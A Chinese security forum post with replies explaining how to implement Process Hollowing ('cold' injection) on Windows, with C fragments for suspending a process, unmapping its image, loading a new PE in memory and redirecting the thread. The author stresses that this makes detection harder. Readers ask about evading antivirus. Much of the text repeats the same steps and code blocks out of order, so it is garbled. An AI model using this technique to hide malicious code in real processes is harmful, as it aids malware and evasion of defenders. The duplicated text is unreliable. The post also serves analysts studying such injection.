首页
社区
课程
招聘
[原创]常见进程注入的实现及内存dump分析——Process Hollowing(冷注入)
发表于: 2018-2-20 16:43 19830

[原创]常见进程注入的实现及内存dump分析——Process Hollowing(冷注入)

2018-2-20 16:43
19830

每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,使得CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行。

新年的第一次发帖,祝大家新年快乐!
在前几篇帖子中,介绍了几种常见的内存注入技术及分析,前几天在Twitter上看到有人又谈论起了Process Hollowing这种注入方法,研究了一下,用这篇帖子记录下。该方法有两种实现方式,分为“冷”注入和“热”注入,该帖仅讨论“冷”注入,这种注入方式在前两年被较多的恶意软件使用,如勒索软件Locky。我在网上的代码的基础上,进行了一些更改,支持了x64下的注入,并与上篇帖子《常见进程注入的实现及内存dump分析——内存模块 》进行了结合,实现了远程内存加载,让恶意内存区段看起来更接近正常区段。

借用EndGame的描述图(侵删)

步骤

1、创建挂起的进程。
2、卸载掉原来的模块。
3、写入新的文件。
4、恢复现场。
1、创建挂起的进程。
CreateProcessA(NULL, 
	lpCommandLine, NULL,NULL, NULL, 
	CREATE_SUSPENDED, 
        NULL, NULL, lpStartupInfo, lpProcessInformation
);
2、获取模块的基地址(通过PEB获取)。
首先,我们要获取目标进程的PEB结构,可以通过NtQueryInformationProcess函数来获取进程信息PROCESS_BASIC_INFORMATION,进程信息中保存着PEB的地址指针。结构如下:
struct PROCESS_BASIC_INFORMATION {
	PVOID Reserved1;
	PVOID PebBaseAddress;
	PVOID Reserved2[2];
	DWORD UniqueProcessId;
	PVOID Reserved3;
};
获取PROCESS_BASIC_INFORMATION结构体。
ntQueryInfomationProcess(hProcess, 0, pProcessInformation, sizeof(PROCESS_BASIC_INFORMATION), &dwReturnLength);
获取到PEB的地址后,读取内存,即可获取到PEB结构体。
ReadProcessMemory(hProcess, dwPEBAddress, pPEB, sizeof(__PEB), 0);
PEB结构中保存着镜像的基地址(要卸载的模块)。
3、卸载模块。
NtUnmapViewSection(lpProcessInformation->hProcess, pPEB->lpImageBaseAddress);
4、将新的PE文件加载到目标进程,替代卸载掉的模块。
新的PE文件加载,我使用的是Memory Module方式,加大了被发现和分析的难度。具体的实现可参考上篇帖子,地址在片头已经给出。
要注意的地方:由于镜像加载到的是另一进程,所以,涉及到数据修改的地方,尽量保存在Dropper进程的PE文件的副本中,避免多次读取目标进程内存。
5、获取目标进程的主线程上下文,并对上下文进行修改。

每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,使得CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行。

获取上下文。
ULONG_PTR dwEntryPoint = (ULONG_PTR)pPEB->lpImageBaseAddress +pSourceHeader->OptionalHeader.AddressOfEntryPoint; 
LPCONTEXT pContext = new CONTEXT(); 
pContext->ContextFlags = CONTEXT_INTEGER; GetThreadContext(lpProcessInformation->hThread, pContext);
修改Context。
#ifdef  _WIN64
	pContext->Rcx = dwEntryPoint;
#else
	pContext->Eax = dwEntryPoint;
#endif //  _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。
6、设置上下文,恢复线程。
SetThreadContext(lpProcessInformation->hThread, pContext);
ResumeThread(lpProcessInformation->hThread);
CreateProcessA(NULL, 
	lpCommandLine, NULL,NULL, NULL, 
	CREATE_SUSPENDED, 
        NULL, NULL, lpStartupInfo, lpProcessInformation
);
2、获取模块的基地址(通过PEB获取)。
首先,我们要获取目标进程的PEB结构,可以通过NtQueryInformationProcess函数来获取进程信息PROCESS_BASIC_INFORMATION,进程信息中保存着PEB的地址指针。结构如下:
struct PROCESS_BASIC_INFORMATION {
	PVOID Reserved1;
	PVOID PebBaseAddress;
	PVOID Reserved2[2];
	DWORD UniqueProcessId;
	PVOID Reserved3;
};
获取PROCESS_BASIC_INFORMATION结构体。
ntQueryInfomationProcess(hProcess, 0, pProcessInformation, sizeof(PROCESS_BASIC_INFORMATION), &dwReturnLength);
获取到PEB的地址后,读取内存,即可获取到PEB结构体。
ReadProcessMemory(hProcess, dwPEBAddress, pPEB, sizeof(__PEB), 0);
PEB结构中保存着镜像的基地址(要卸载的模块)。
3、卸载模块。
NtUnmapViewSection(lpProcessInformation->hProcess, pPEB->lpImageBaseAddress);
4、将新的PE文件加载到目标进程,替代卸载掉的模块。
新的PE文件加载,我使用的是Memory Module方式,加大了被发现和分析的难度。具体的实现可参考上篇帖子,地址在片头已经给出。
struct PROCESS_BASIC_INFORMATION {
	PVOID Reserved1;
	PVOID PebBaseAddress;
	PVOID Reserved2[2];
	DWORD UniqueProcessId;
	PVOID Reserved3;
};
获取PROCESS_BASIC_INFORMATION结构体。
ntQueryInfomationProcess(hProcess, 0, pProcessInformation, sizeof(PROCESS_BASIC_INFORMATION), &dwReturnLength);
ntQueryInfomationProcess(hProcess, 0, pProcessInformation, sizeof(PROCESS_BASIC_INFORMATION), &dwReturnLength);
获取到PEB的地址后,读取内存,即可获取到PEB结构体。
ReadProcessMemory(hProcess, dwPEBAddress, pPEB, sizeof(__PEB), 0);
PEB结构中保存着镜像的基地址(要卸载的模块)。
3、卸载模块。
ReadProcessMemory(hProcess, dwPEBAddress, pPEB, sizeof(__PEB), 0);
PEB结构中保存着镜像的基地址(要卸载的模块)。
NtUnmapViewSection(lpProcessInformation->hProcess, pPEB->lpImageBaseAddress);
4、将新的PE文件加载到目标进程,替代卸载掉的模块。
要注意的地方:由于镜像加载到的是另一进程,所以,涉及到数据修改的地方,尽量保存在Dropper进程的PE文件的副本中,避免多次读取目标进程内存。
5、获取目标进程的主线程上下文,并对上下文进行修改。

每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,使得CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行。

获取上下文。
ULONG_PTR dwEntryPoint = (ULONG_PTR)pPEB->lpImageBaseAddress +pSourceHeader->OptionalHeader.AddressOfEntryPoint; 
LPCONTEXT pContext = new CONTEXT(); 
pContext->ContextFlags = CONTEXT_INTEGER; GetThreadContext(lpProcessInformation->hThread, pContext);
修改Context。
#ifdef  _WIN64
	pContext->Rcx = dwEntryPoint;
#else
	pContext->Eax = dwEntryPoint;
#endif //  _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。
6、设置上下文,恢复线程。
SetThreadContext(lpProcessInformation->hThread, pContext);
ResumeThread(lpProcessInformation->hThread);
获取上下文。
ULONG_PTR dwEntryPoint = (ULONG_PTR)pPEB->lpImageBaseAddress +pSourceHeader->OptionalHeader.AddressOfEntryPoint; 
LPCONTEXT pContext = new CONTEXT(); 
pContext->ContextFlags = CONTEXT_INTEGER; GetThreadContext(lpProcessInformation->hThread, pContext);
修改Context。
#ifdef  _WIN64
	pContext->Rcx = dwEntryPoint;
#else
	pContext->Eax = dwEntryPoint;
#endif //  _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。
6、设置上下文,恢复线程。
SetThreadContext(lpProcessInformation->hThread, pContext);
ResumeThread(lpProcessInformation->hThread);
获取上下文。
ULONG_PTR dwEntryPoint = (ULONG_PTR)pPEB->lpImageBaseAddress +pSourceHeader->OptionalHeader.AddressOfEntryPoint; 
LPCONTEXT pContext = new CONTEXT(); 
pContext->ContextFlags = CONTEXT_INTEGER; GetThreadContext(lpProcessInformation->hThread, pContext);
修改Context。
#ifdef  _WIN64
	pContext->Rcx = dwEntryPoint;
#else
	pContext->Eax = dwEntryPoint;
#endif //  _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。
6、设置上下文,恢复线程。
SetThreadContext(lpProcessInformation->hThread, pContext);
ResumeThread(lpProcessInformation->hThread);
ULONG_PTR dwEntryPoint = (ULONG_PTR)pPEB->lpImageBaseAddress +pSourceHeader->OptionalHeader.AddressOfEntryPoint; 
LPCONTEXT pContext = new CONTEXT(); 
pContext->ContextFlags = CONTEXT_INTEGER; GetThreadContext(lpProcessInformation->hThread, pContext);
修改Context。
#ifdef  _WIN64
	pContext->Rcx = dwEntryPoint;
#else
	pContext->Eax = dwEntryPoint;
#endif //  _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。
6、设置上下文,恢复线程。
修改Context。
#ifdef  _WIN64
	pContext->Rcx = dwEntryPoint;
#else
	pContext->Eax = dwEntryPoint;
#endif //  _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。
6、设置上下文,恢复线程。
#ifdef  _WIN64
	pContext->Rcx = dwEntryPoint;
#else
	pContext->Eax = dwEntryPoint;
#endif //  _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2018-2-21 18:33 被sudozhange编辑 ,原因: URL Error
上传的附件:
收藏
免费 7
支持
分享
最新回复 (17)
雪    币: 775
活跃值: (2292)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
mark
2018-2-20 21:38
0
雪    币: 2440
活跃值: (242)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
3
抱大腿解决很多问题
2018-2-22 03:31
0
雪    币: 545
活跃值: (247)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
4
mark
2018-3-11 22:10
0
雪    币: 26245
活跃值: (63297)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
5
2018-3-15 14:29
0
雪    币: 2568
活跃值: (399)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
收藏学习,大神啊。
2018-3-15 15:52
0
雪    币: 1
活跃值: (305)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
能免杀吗
2018-3-20 23:40
0
雪    币: 244
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
过程看明白了.不过作用不太了解.这个能过检测之类的不
2018-3-21 11:36
0
雪    币: 285
活跃值: (1095)
能力值: ( LV13,RANK:405 )
在线值:
发帖
回帖
粉丝
9
qiuyue 过程看明白了.不过作用不太了解.这个能过检测之类的不
作用主要在分析,了解原理之后,分析起来就容易多了
2018-3-21 14:12
0
雪    币: 140
活跃值: (125)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
10
这玩意前些年叫傀儡进程吧。。。
2018-3-22 11:07
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
X64 版本,运行X64 的EXE 提示应用程序无法正常启动0xc0000142
2018-10-27 20:40
1
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
换个X64的EXE 提示 00005了,
https://bbs.pediy.com/thread-246023.htm
应该就是这个问题,
2018-10-27 21:18
0
雪    币: 193
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
mark
2018-10-27 22:22
0
雪    币: 697
活跃值: (60)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
mark
2019-3-4 13:48
0
雪    币: 216
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
mark
2019-6-15 17:27
0
雪    币: 4975
活跃值: (3848)
能力值: ( LV13,RANK:270 )
在线值:
发帖
回帖
粉丝
16
然而在进程列表中还是可以看到真实执行的程序.
2020-9-18 09:38
0
雪    币: 2
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
楼主,看了你的很多种注入方式,是不是目前这种冷注入方式最先进,最不容易被检测
2022-4-18 17:16
0
雪    币: 216
活跃值: (159)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
学习中!
2024-5-14 09:34
0
游客
登录 | 注册 方可回帖
返回
//